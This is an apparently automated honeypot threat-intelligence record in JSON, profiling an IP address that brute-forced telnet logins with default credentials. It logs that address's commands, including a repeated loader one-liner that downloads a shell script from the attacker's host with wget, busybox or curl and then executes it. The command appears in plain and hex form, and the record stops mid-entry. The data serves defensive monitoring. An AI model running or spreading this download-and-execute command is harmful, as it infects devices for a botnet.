{"ip":"160.119.66.206","data_as_of":"2026-10-26T22:01:24+00:00","observed":true,"total_events":13,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"1 loader / command-injection payload(s)","confidence":"high","network_type":"residential ISP","why":["1 request(s) carried a loader or command-injection payload (wget, curl, tftp, busybox, chmod or a known bot name).","The same evidence places an address in the public exploiter feed.","One request that fetches a botnet binary is exploitation on its own, whatever the event count.","Not in any known-scanner range.","Sent 7,464 bytes, which is sustained payload delivery.","Counts include 27 interactive session(s) as well as first-packet events.","Interactive sessions: 22 interactive session(s) ran commands after logging in."],"engagement":{"level":"payload","label":"Sustained payload","detail":"7,464 bytes sent","bytes_sent":7464,"session_seconds":6,"persistent":false},"basis":"combined"},"first_seen":"2026-10-13T23:10:33","last_seen":"2026-10-25T15:32:07","events_24h":0,"events_7d":0,"interactive_sessions":27,"interactive_sessions_24h":0,"interactive_sessions_7d":14,"interactive_protocols":[{"protocol":"telnet","sessions":25},{"protocol":"http","sessions":2}],"geo":{"country_code":"SC","country_name":"Seychelles","region":"","city":"","lat":-4.5833,"lon":55.6667,"asn":49870,"org":"Alsycon B.V."},"source_domain":null,"known_scanners":[],"scanner_tag":{"key":"peeringdb:as49870","label":"Alsycon AS49870","category":"isp","url":"https://www.peeringdb.com/asn/49870"},"cve_matches":[],"malware":[{"sha256":"39be6853a8204ce6455a373a6ffb4cb4672d4a62d90be69f7d6eeb66cda10b96","family":"bash","vt_name":"kla.sh","malicious":30,"total":75,"vt_status":"known","delivery":"interactive session","url_path":"","dest_port":23,"hits":3,"last_seen":"2026-10-15 02:42:12"}],"udp":null,"interaction":{"window_days":90,"sessions":27,"first_seen":"2026-10-14T16:43:05","last_seen":"2026-10-25T15:32:07","verdicts":[{"verdict":"post-exploitation","sessions":22},{"verdict":"unknown","sessions":5}],"personas":[{"persona":"linux-ubuntu@24.04","sessions":16},{"persona":"linux-ubuntu@20.04","sessions":9},{"persona":"nginx@1.18.0, wordpress@6.5.2, leaks@1, miner@cgminer 4.11.1, elasticsearch@8.11.1, winrm@Windows Server 2019, dlink-dir645@1.03, fortigate@7.2.1","sessions":1},{"persona":"nginx@1.18.0, wordpress@6.5.2, leaks@1, miner@cgminer 4.11.1, elasticsearch@8.11.1, winrm@Windows Server 2019, discovery@igd 1.0, fortigate@7.2.1","sessions":1}],"services":[{"protocol":"telnet","port":23,"sessions":25},{"protocol":"http","port":80,"sessions":2}],"logins":[{"username":"enable","password":"linuxshell","password_sent":true,"service":"telnet","outcome":"success","tries":10,"last_seen":"2026-10-25T15:32:02"},{"username":"root","password":"root","password_sent":true,"service":"telnet","outcome":"success","tries":10,"last_seen":"2026-10-24T16:08:25"},{"username":"admin","password":"","password_sent":true,"service":"telnet","outcome":"failure","tries":5,"last_seen":"2026-10-25T15:32:00"},{"username":"root","password":"","password_sent":true,"service":"telnet","outcome":"failure","tries":5,"last_seen":"2026-10-25T15:31:57"},{"username":"admin","password":"admin","password_sent":true,"service":"telnet","outcome":"success","tries":2,"last_seen":"2026-10-25T15:32:04"}],"commands":[{"ts":"2026-10-25T15:32:04","session_id":"afa44bc4-26a1-4bed-8cc0-76f1011f744c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"cd /tmp 2>/dev/null || cd /var 2>/dev/null || cd /dev/shm 2>/dev/null || cd /run 2>/dev/null || cd /root 2>/dev/null || cd /;rm -f kla.sh;wget -O kla.sh [http]://160[.]119[.]66[.]206/bins/kla.sh 2>/dev/null||busybox wget -O kla.sh [http]://160[.]119[.]66[.]206/bins/kla.sh 2>/dev/null||curl -sLo kla.sh [http]://160[.]119[.]66[.]206/bins/kla.sh 2>/dev/null;chmod 777 kla.sh;sh kla.sh telnet&","exit_code":127},{"ts":"2026-10-25T15:32:03","session_id":"a80a04ad-4e09-45d3-ae45-7226e10395ad","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"cd /tmp 2>/dev/null || cd /var 2>/dev/null || cd /dev/shm 2>/dev/null || cd /run 2>/dev/null || cd /root 2>/dev/null || cd /;rm -f kla.sh;wget -O kla.sh [http]://160[.]119[.]66[.]206/bins/kla.sh 2>/dev/null||busybox wget -O kla.sh [http]://160[.]119[.]66[.]206/bins/kla.sh 2>/dev/null||curl -sLo kla.sh [http]://160[.]119[.]66[.]206/bins/kla.sh 2>/dev/null;chmod 777 kla.sh;sh kla.sh telnet&","exit_code":127},{"ts":"2026-10-25T15:32:03","session_id":"a80a04ad-4e09-45d3-ae45-7226e10395ad","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"ls /home; /bin/busybox BOTNET","exit_code":127},{"ts":"2026-10-25T15:32:03","session_id":"a80a04ad-4e09-45d3-ae45-7226e10395ad","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"sh","exit_code":0},{"ts":"2026-10-25T15:32:03","session_id":"a80a04ad-4e09-45d3-ae45-7226e10395ad","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"system","exit_code":127},{"ts":"2026-10-25T15:32:03","session_id":"a80a04ad-4e09-45d3-ae45-7226e10395ad","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"linuxshell","exit_code":127},{"ts":"2026-10-25T15:32:03","session_id":"a80a04ad-4e09-45d3-ae45-7226e10395ad","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"enable","exit_code":0},{"ts":"2026-10-25T15:32:02","session_id":"041459ea-ce95-4609-9e7a-5652ccb4e92f","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"ls /home; /bin/busybox BOTNET","exit_code":127},{"ts":"2026-10-25T15:32:02","session_id":"041459ea-ce95-4609-9e7a-5652ccb4e92f","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"sh","exit_code":0},{"ts":"2026-10-25T15:32:02","session_id":"041459ea-ce95-4609-9e7a-5652ccb4e92f","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"system","exit_code":127},{"ts":"2026-10-25T15:31:59","session_id":"b01f6d9d-55ee-4e80-9b31-8d5bbc1d5f30","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"ls /home; /bin/busybox BOTNET","exit_code":127},{"ts":"2026-10-25T15:31:59","session_id":"b01f6d9d-55ee-4e80-9b31-8d5bbc1d5f30","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"sh","exit_code":0},{"ts":"2026-10-25T15:31:59","session_id":"b01f6d9d-55ee-4e80-9b31-8d5bbc1d5f30","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"system","exit_code":127},{"ts":"2026-10-24T16:08:25","session_id":"aa093ad3-b8b5-4d15-a400-69c95fed825d","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"cd /tmp 2>/dev/null || cd /var 2>/dev/null || cd /dev/shm 2>/dev/null || cd /run 2>/dev/null || cd /root 2>/dev/null || cd /;rm -f kla.sh;wget -O kla.sh [http]://160[.]119[.]66[.]206/bins/kla.sh 2>/dev/null||busybox wget -O kla.sh [http]://160[.]119[.]66[.]206/bins/kla.sh 2>/dev/null||curl -sLo kla.sh [http]://160[.]119[.]66[.]206/bins/kla.sh 2>/dev/null;chmod 777 kla.sh;sh kla.sh telnet&","exit_code":127},{"ts":"2026-10-24T16:08:24","session_id":"3e120b18-ec24-4415-889a-eaa102514287","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"cd /tmp 2>/dev/null || cd /var 2>/dev/null || cd /dev/shm 2>/dev/null || cd /run 2>/dev/null || cd /root 2>/dev/null || cd /;rm -f kla.sh;wget -O kla.sh [http]://160[.]119[.]66[.]206/bins/kla.sh 2>/dev/null||busybox wget -O kla.sh [http]://160[.]119[.]66[.]206/bins/kla.sh 2>/dev/null||curl -sLo kla.sh [http]://160[.]119[.]66[.]206/bins/kla.sh 2>/dev/null;chmod 777 kla.sh;sh kla.sh telnet&","exit_code":127},{"ts":"2026-10-24T16:08:24","session_id":"3e120b18-ec24-4415-889a-eaa102514287","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"ls /home; /bin/busybox BOTNET","exit_code":127},{"ts":"2026-10-24T16:08:24","session_id":"3e120b18-ec24-4415-889a-eaa102514287","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"sh","exit_code":0},{"ts":"2026-10-24T16:08:24","session_id":"3e120b18-ec24-4415-889a-eaa102514287","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"system","exit_code":127},{"ts":"2026-10-24T16:08:24","session_id":"3e120b18-ec24-4415-889a-eaa102514287","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"linuxshell","exit_code":127},{"ts":"2026-10-24T16:08:24","session_id":"3e120b18-ec24-4415-889a-eaa102514287","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"enable","exit_code":0},{"ts":"2026-10-24T16:08:23","session_id":"792a277e-09b2-4a7b-93db-66d557c3e8f3","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"ls /home; /bin/busybox BOTNET","exit_code":127},{"ts":"2026-10-24T16:08:23","session_id":"792a277e-09b2-4a7b-93db-66d557c3e8f3","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"sh","exit_code":0},{"ts":"2026-10-24T16:08:22","session_id":"792a277e-09b2-4a7b-93db-66d557c3e8f3","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"system","exit_code":127},{"ts":"2026-10-24T16:08:20","session_id":"b81e3a44-941f-4242-8765-c6e4267d676b","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"ls /home; /bin/busybox BOTNET","exit_code":127},{"ts":"2026-10-24T16:08:20","session_id":"b81e3a44-941f-4242-8765-c6e4267d676b","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"sh","exit_code":0},{"ts":"2026-10-24T16:08:19","session_id":"b81e3a44-941f-4242-8765-c6e4267d676b","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"system","exit_code":127},{"ts":"2026-10-21T22:27:20","session_id":"d3c73bd9-6c5f-489e-81f2-2739380046d1","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"cd /tmp 2>/dev/null || cd /var 2>/dev/null || cd /dev/shm 2>/dev/null || cd /run 2>/dev/null || cd /root 2>/dev/null || cd /;rm -f kla.sh;wget -O kla.sh [http]://160[.]119[.]66[.]206/bins/kla.sh 2>/dev/null||busybox wget -O kla.sh [http]://160[.]119[.]66[.]206/bins/kla.sh 2>/dev/null||curl -sLo kla.sh [http]://160[.]119[.]66[.]206/bins/kla.sh 2>/dev/null;chmod 777 kla.sh;sh kla.sh telnet&","exit_code":127},{"ts":"2026-10-21T22:27:19","session_id":"ffb3f8c2-85ad-4dfa-b21b-f3bce9772a46","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"cd /tmp 2>/dev/null || cd /var 2>/dev/null || cd /dev/shm 2>/dev/null || cd /run 2>/dev/null || cd /root 2>/dev/null || cd /;rm -f kla.sh;wget -O kla.sh [http]://160[.]119[.]66[.]206/bins/kla.sh 2>/dev/null||busybox wget -O kla.sh [http]://160[.]119[.]66[.]206/bins/kla.sh 2>/dev/null||curl -sLo kla.sh [http]://160[.]119[.]66[.]206/bins/kla.sh 2>/dev/null;chmod 777 kla.sh;sh kla.sh telnet&","exit_code":127},{"ts":"2026-10-21T22:27:19","session_id":"ffb3f8c2-85ad-4dfa-b21b-f3bce9772a46","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"ls /home; /bin/busybox BOTNET","exit_code":127},{"ts":"2026-10-21T22:27:19","session_id":"ffb3f8c2-85ad-4dfa-b21b-f3bce9772a46","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"sh","exit_code":0},{"ts":"2026-10-21T22:27:18","session_id":"ffb3f8c2-85ad-4dfa-b21b-f3bce9772a46","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"system","exit_code":127},{"ts":"2026-10-21T22:27:18","session_id":"ffb3f8c2-85ad-4dfa-b21b-f3bce9772a46","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"linuxshell","exit_code":127},{"ts":"2026-10-21T22:27:18","session_id":"ffb3f8c2-85ad-4dfa-b21b-f3bce9772a46","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"enable","exit_code":0},{"ts":"2026-10-21T22:27:17","session_id":"cbc839b1-4b3c-439c-8d6b-3b82deab382e","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"ls /home; /bin/busybox BOTNET","exit_code":127},{"ts":"2026-10-21T22:27:17","session_id":"cbc839b1-4b3c-439c-8d6b-3b82deab382e","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"sh","exit_code":0},{"ts":"2026-10-21T22:27:17","session_id":"cbc839b1-4b3c-439c-8d6b-3b82deab382e","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"system","exit_code":127},{"ts":"2026-10-21T22:27:15","session_id":"eaa8a23f-1797-4694-b14c-c8ff00a99c5d","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"ls /home; /bin/busybox BOTNET","exit_code":127},{"ts":"2026-10-21T22:27:15","session_id":"eaa8a23f-1797-4694-b14c-c8ff00a99c5d","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"sh","exit_code":0},{"ts":"2026-10-21T22:27:14","session_id":"eaa8a23f-1797-4694-b14c-c8ff00a99c5d","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"system","exit_code":127},{"ts":"2026-10-19T02:30:23","session_id":"c6157e61-46b1-4439-bfb4-73573d15a83b","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"cd /tmp 2>/dev/null || cd /var 2>/dev/null || cd /dev/shm 2>/dev/null || cd /run 2>/dev/null || cd /root 2>/dev/null || cd /;rm -f kla.sh;wget -O kla.sh [http]://160[.]119[.]66[.]206/bins/kla.sh 2>/dev/null||busybox wget -O kla.sh [http]://160[.]119[.]66[.]206/bins/kla.sh 2>/dev/null||curl -sLo kla.sh [http]://160[.]119[.]66[.]206/bins/kla.sh 2>/dev/null;chmod 777 kla.sh;sh kla.sh telnet&","exit_code":127},{"ts":"2026-10-19T02:30:22","session_id":"6df93217-2d73-4fa1-9d87-c722a32c6fb9","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"cd /tmp 2>/dev/null || cd /var 2>/dev/null || cd /dev/shm 2>/dev/null || cd /run 2>/dev/null || cd /root 2>/dev/null || cd /;rm -f kla.sh;wget -O kla.sh [http]://160[.]119[.]66[.]206/bins/kla.sh 2>/dev/null||busybox wget -O kla.sh [http]://160[.]119[.]66[.]206/bins/kla.sh 2>/dev/null||curl -sLo kla.sh [http]://160[.]119[.]66[.]206/bins/kla.sh 2>/dev/null;chmod 777 kla.sh;sh kla.sh telnet&","exit_code":127},{"ts":"2026-10-19T02:30:22","session_id":"6df93217-2d73-4fa1-9d87-c722a32c6fb9","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"sh","exit_code":0},{"ts":"2026-10-19T02:30:22","session_id":"6df93217-2d73-4fa1-9d87-c722a32c6fb9","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"ls /home; /bin/busybox BOTNET","exit_code":127},{"ts":"2026-10-19T02:30:22","session_id":"6df93217-2d73-4fa1-9d87-c722a32c6fb9","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"system","exit_code":127},{"ts":"2026-10-19T02:30:21","session_id":"6df93217-2d73-4fa1-9d87-c722a32c6fb9","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"linuxshell","exit_code":127},{"ts":"2026-10-19T02:30:21","session_id":"6df93217-2d73-4fa1-9d87-c722a32c6fb9","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"enable","exit_code":0},{"ts":"2026-10-19T02:30:21","session_id":"426c9ebe-bed2-4d61-b160-2d5687e62e25","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"ls /home; /bin/busybox BOTNET","exit_code":127},{"ts":"2026-10-19T02:30:21","session_id":"426c9ebe-bed2-4d61-b160-2d5687e62e25","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"sh","exit_code":0},{"ts":"2026-10-19T02:30:21","session_id":"426c9ebe-bed2-4d61-b160-2d5687e62e25","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"system","exit_code":127},{"ts":"2026-10-19T02:30:18","session_id":"3d19e053-0644-4a09-b971-507705e766a2","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"ls /home; /bin/busybox BOTNET","exit_code":127}],"downloads":[{"url":"[http]://160[.]119[.]66[.]206/bins/kla.sh","host":"160[.]119[.]66[.]206","sessions":12,"first_seen":"2026-10-15T02:42:12","last_seen":"2026-10-25T15:32:07","virustotal":{"sha256":"39be6853a8204ce6455a373a6ffb4cb4672d4a62d90be69f7d6eeb66cda10b96","status":"known","malicious":30,"total":75,"name":"kla.sh"}}],"files":[{"sha256":"48765ea11a6404d2388ce3f9eb4e79c041068b7918e8238faad37770e9acddd6","name":"kla.sh","size":294,"mime_type":"text/x-shellscript","kind":"executed","times":14,"first_seen":"2026-10-15T02:42:09","last_seen":"2026-10-25T15:32:04","virustotal":null},{"sha256":"04cf2af142fa1f3bf9bcf954b9c86f4d6d0660cffea8708d2054720983d3ac55","name":"kla.sh","size":33,"mime_type":"text/plain","kind":"downloaded","times":14,"first_seen":"2026-10-15T02:42:09","last_seen":"2026-10-25T15:32:04","virustotal":null}],"attack":[{"technique_id":"T1078","technique_name":"Valid Accounts","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":22},{"technique_id":"T1059.004","technique_name":"Command and Scripting Interpreter: Unix Shell","tactic_id":"TA0002","tactic_name":"Execution","sessions":22},{"technique_id":"T1110","technique_name":"Brute Force","tactic_id":"TA0006","tactic_name":"Credential Access","sessions":22},{"technique_id":"T1105","technique_name":"Ingress Tool Transfer","tactic_id":"TA0011","tactic_name":"Command and Control","sessions":12}]},"top_ports":[{"port":23,"proto":"tcp","label":"Telnet","count":0,"sessions":25},{"port":80,"proto":"tcp","label":"HTTP","count":6,"sessions":2},{"port":8888,"proto":"tcp","label":"HTTP-alt","count":3,"sessions":0},{"port":8080,"proto":"tcp","label":"HTTP-alt","count":3,"sessions":0},{"port":8443,"proto":"tcp","label":"HTTPS-alt","count":1,"sessions":0}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13i131000_f57a46bbacb6_f50d94e863eb"],"tls_client_hello":"16030105d6010005d203035d3234baa8ca9dbb19ded2f3492b12cefc1309560f5b59749c583acce30665e72037c1c037a73fb4d366606789c8097087796e4a22cd9ee086b2d9a630273db56e001acca9cca8c02bc02fc02cc030c009c013c00ac0141303130113020100056f000b00020100ff010001000017000000120000000500050100000000000a0010000e11ec11eb11ed001d001700180019000d001c001a090409050906080404030807080508060401050106010503060300320020001e090409050906080404030807080508060401050106010503060302010203002b0009080304030303020301003304ea04e811ec04c00c37847cf425be4998a2a55099c69600aaab3b26a40092084475bfd0bb463371255c399e189638a17437ceb173655b395e72a9dfe02581302dd2a503d8aa16cd8a5a75214d89c84ec2b220c58c33879c9b56f463bafc0d4dd14e91d3170e10ce93579b286371736671679b0ea89637c999afc98122f0d5c0385271462b48532a8fbee32cc6292281a01dfc7719cf4bcef0640dcfe92756f0cf06bb124908a3377957e9a150ff5a3e6a6863b91b90cff839f08469d7dc8481c1c6e1d9090d497be19c03d1850204717f91533df7ca8ce4c0a202a3021e745ab5833847a9b4b7b9030d775a9b14cefc76040a3c34c2f1b79467230c03485ebc18b6f299e3f11efcfc3c4b184c67d16bb78a0bd729167483c90f7b5454951a550769f27684c6e5a939a4a3c6d157593361bfc06042f0793f4ca52a7b0adc57167d65c32af0bb9ec1a8b641563c9a71697b5613f20b3481c9a7ca5f178a3bc7dbb180e73c4d47765305735bd885173737e3d1a4ab4b4d2b063ed29b6349e37b072caef97552d0023a11c83a0556cec587c8cd211bce38c81e654869c5771473800e727cdf8096d56533651843e3ec877068357e2268f9285dfa6c4769b0a827aa653a3b013473cbebe24df6c87914c55fd20acaa04237ebe46249562f024b4e7331bd42028a2938b91775702acc2fb12b7e5c1365f6b37f9561c965da28df7a213f5066674c2538a8853e184fdac33eb2c4987b0421cd4178de657923a21243f21780577e4288693bab8ef496bec5c58d42cc4288a534728b7e657a9107b2857bbb9792289d1321c037359aab2942da9c64446a4848d4387c60620699ba7ed7822fd294df228791c43adeea2192248580e90dfd832446b4a285b0409a0cbf3b014fb4d090cb7b4a9a12a60d44b6c6a01a3c954b9ba832a612279eb19bf4f9331b5b30af888aa07373f13769793862cb47b27aa46a8a507971f8872a343cc0b59641f93460b60d5c9695b667a4619864e58c0620207cc7e69b87cab24e20c8d52417f8a7c24723ce1c204f849a3ddd667862b489d0661c73281d104786e5f299eb669fad519d1878241db3a8fd182765a3c742c462bb531bad439ab31294cfe3b427077760d81a2418c5067b2817f112e17b030bf9474ac90aa25aa92163cc8e1a12bb41ce580534ffd5ca08c22e833015eb846440eb12ef69769b18262570922142aebe29654187026c9b0cf0b390aee62dc370a5c5d925e2362ba70202fb013d0aa86317343471299316c93dee243109b1a2813b12d2dc5ff2503ae83a5957601176105c7940c08aca2e21479c702166b8d61eb5c07df35577adaa110ea250c2b458783884bd4559becc9dc855a042f9a8003cc798db04e0b2ca4968586bf22c5c2b5a792181035521ad3216a46b8ad984714c44a467509265aa23fff634f586938179916ae8640970b9dc12c6d5757dcb549a33b91136a1baf5998ec6950e398775824c2f82b07bdb451b40223acbbcc402e1cdecbc801b4a998cb0cde0ea6442e6bed62cc34ed5af67e15370f3ced0d8b369811db7e7a36be43f3b2ccb68fa7b5440a1a984c5db11cdfa7023b6c06da3a5b9816b90f9244cb605032c064d81daa42b69421d4449d0f53198a0cdd47bc6b894163d6f61d97e12311a0f9da8953668cb4118c0e620f27d36a6861a6fb93b48fac0845e650bc71a8d3306a97270fb12ea1a1284c94e001d0020f27d36a6861a6fb93b48fac0845e650bc71a8d3306a97270fb12ea1a","tls_ja3":["56b0f6febc953849f7ace70c5a2ae34d"],"http_akin":["b11cun030_00040011_c91eaf54","b11cun060_08040017_a9482ae2"],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"t13i131000_f57a46bbacb6_f50d94e863eb":2805,"b11cun030_00040011_c91eaf54":979,"b11cun060_08040017_a9482ae2":2},"akin_families":{},"user_agents":["Mozila/5.0","Hello World","Mozilla/5.0"],"timeline":[{"date":"2026-10-13","count":3,"sessions":0},{"date":"2026-10-14","count":4,"sessions":1},{"date":"2026-10-15","count":0,"sessions":6},{"date":"2026-10-17","count":3,"sessions":1},{"date":"2026-10-18","count":0,"sessions":1},{"date":"2026-10-19","count":3,"sessions":4},{"date":"2026-10-21","count":0,"sessions":5},{"date":"2026-10-24","count":0,"sessions":4},{"date":"2026-10-25","count":0,"sessions":5}],"recent_events":[{"timestamp":"2026-10-25T15:32:04","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"cd /tmp 2>/dev/null || cd /var 2>/dev/null || cd /dev/shm 2>/dev/null || cd /run 2>/dev/null || cd /root 2>/dev/null || cd /;rm -f kla.sh;wget -O kla.sh http://160.119.66.206/bins/kla.sh 2>/dev/null||busybox wget -O kla.sh http://160.119.66.206/bins/kla.sh 2>/dev/null||curl -sLo kla.sh http://160.119.66.206/bins/kla.sh 2>/dev/null;chmod 777 kla.sh;sh kla.sh telnet&","payload_hex":"6364202f746d7020323e2f6465762f6e756c6c207c7c206364202f76617220323e2f6465762f6e756c6c207c7c206364202f6465762f73686d20323e2f6465762f6e756c6c207c7c206364202f72756e20323e2f6465762f6e756c6c207c7c206364202f726f6f7420323e2f6465762f6e756c6c207c7c206364202f3b726d202d66206b6c612e73683b77676574202d4f206b6c612e736820687474703a2f2f3136302e3131392e36362e3230362f62696e732f6b6c612e736820323e2f6465762f6e756c6c7c7c62757379626f782077676574202d4f206b6c612e736820687474703a2f2f3136302e3131392e36362e3230362f62696e732f6b6c612e736820323e2f6465762f6e756c6c7c7c6375726c202d734c6f206b6c612e736820687474703a2f2f3136302e3131392e36362e3230362f62696e732f6b6c612e736820323e2f6465762f6e756c6c3b63686d6f6420373737206b6c612e73683b7368206b6c612e73682074656c6e657426","method":"","user_agent":"","ja3":"","session":"afa44bc4-26a1-4bed-8cc0-76f1011f744c-3","seq":3,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"d1502dbcb88c7873","strings":["cd /tmp 2>/dev/null || cd /var 2>/dev/null || cd /dev/shm 2>/dev/null || cd /run…"],"iocs":{"paths":["/dev/null","/dev/shm"]}},"interactive":true},{"timestamp":"2026-10-25T15:32:04","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"admin","payload_hex":"61646d696e","method":"","user_agent":"","ja3":"","session":"afa44bc4-26a1-4bed-8cc0-76f1011f744c-2","seq":2,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"d033e22ae348aeb5","strings":["admin"]},"interactive":true},{"timestamp":"2026-10-25T15:32:04","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"admin","payload_hex":"61646d696e","method":"","user_agent":"","ja3":"","session":"afa44bc4-26a1-4bed-8cc0-76f1011f744c-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"d033e22ae348aeb5","strings":["admin"]},"interactive":true},{"timestamp":"2026-10-25T15:32:03","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"cd /tmp 2>/dev/null || cd /var 2>/dev/null || cd /dev/shm 2>/dev/null || cd /run 2>/dev/null || cd /root 2>/dev/null || cd /;rm -f kla.sh;wget -O kla.sh http://160.119.66.206/bins/kla.sh 2>/dev/null||busybox wget -O kla.sh http://160.119.66.206/bins/kla.sh 2>/dev/null||curl -sLo kla.sh http://160.119.66.206/bins/kla.sh 2>/dev/null;chmod 777 kla.sh;sh kla.sh telnet&","payload_hex":"6364202f746d7020323e2f6465762f6e756c6c207c7c206364202f76617220323e2f6465762f6e756c6c207c7c206364202f6465762f73686d20323e2f6465762f6e756c6c207c7c206364202f72756e20323e2f6465762f6e756c6c207c7c206364202f726f6f7420323e2f6465762f6e756c6c207c7c206364202f3b726d202d66206b6c612e73683b77676574202d4f206b6c612e736820687474703a2f2f3136302e3131392e36362e3230362f62696e732f6b6c612e736820323e2f6465762f6e756c6c7c7c62757379626f782077676574202d4f206b6c612e736820687474703a2f2f3136302e3131392e36362e3230362f62696e732f6b6c612e736820323e2f6465762f6e756c6c7c7c6375726c202d734c6f206b6c612e736820687474703a2f2f3136302e3131392e36362e3230362f62696e732f6b6c612e736820323e2f6465762f6e756c6c3b63686d6f6420373737206b6c612e73683b7368206b6c612e73682074656c6e657426","method":"","user_agent":"","ja3":"","session":"a80a04ad-4e09-45d3-ae45-7226e10395ad-13","seq":13,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"d1502dbcb88c7873","strings":["cd /tmp 2>/dev/null || cd /var 2>/dev/null || cd /dev/shm 2>/dev/null || cd /run…"],"iocs":{"paths":["/dev/null","/dev/shm"]}},"interactive":true},{"timestamp":"2026-10-25T15:32:03","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"ls /home; /bin/busybox BOTNET","payload_hex":"6c73202f686f6d653b202f62696e2f62757379626f7820424f544e4554","method":"","user_agent":"","ja3":"","session":"a80a04ad-4e09-45d3-ae45-7226e10395ad-11","seq":11,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"c3a9d064abe32fc7","strings":["ls /home; /bin/busybox BOTNET"],"iocs":{"paths":["/bin/busybox"]}},"interactive":true},{"timestamp":"2026-10-25T15:32:03","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"sh","payload_hex":"7368","method":"","user_agent":"","ja3":"","session":"a80a04ad-4e09-45d3-ae45-7226e10395ad-9","seq":9,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-25T15:32:03","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"system","payload_hex":"73797374656d","method":"","user_agent":"","ja3":"","session":"a80a04ad-4e09-45d3-ae45-7226e10395ad-7","seq":7,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"317f1e761f2faa8d","strings":["system"]},"interactive":true},{"timestamp":"2026-10-25T15:32:03","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"linuxshell","payload_hex":"6c696e75787368656c6c","method":"","user_agent":"","ja3":"","session":"a80a04ad-4e09-45d3-ae45-7226e10395ad-5","seq":5,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"8792476de0c64900","strings":["linuxshell"]},"interactive":true},{"timestamp":"2026-10-25T15:32:03","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"enable","payload_hex":"656e61626c65","method":"","user_agent":"","ja3":"","session":"a80a04ad-4e09-45d3-ae45-7226e10395ad-3","seq":3,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"9905c33933602ae8","strings":["ena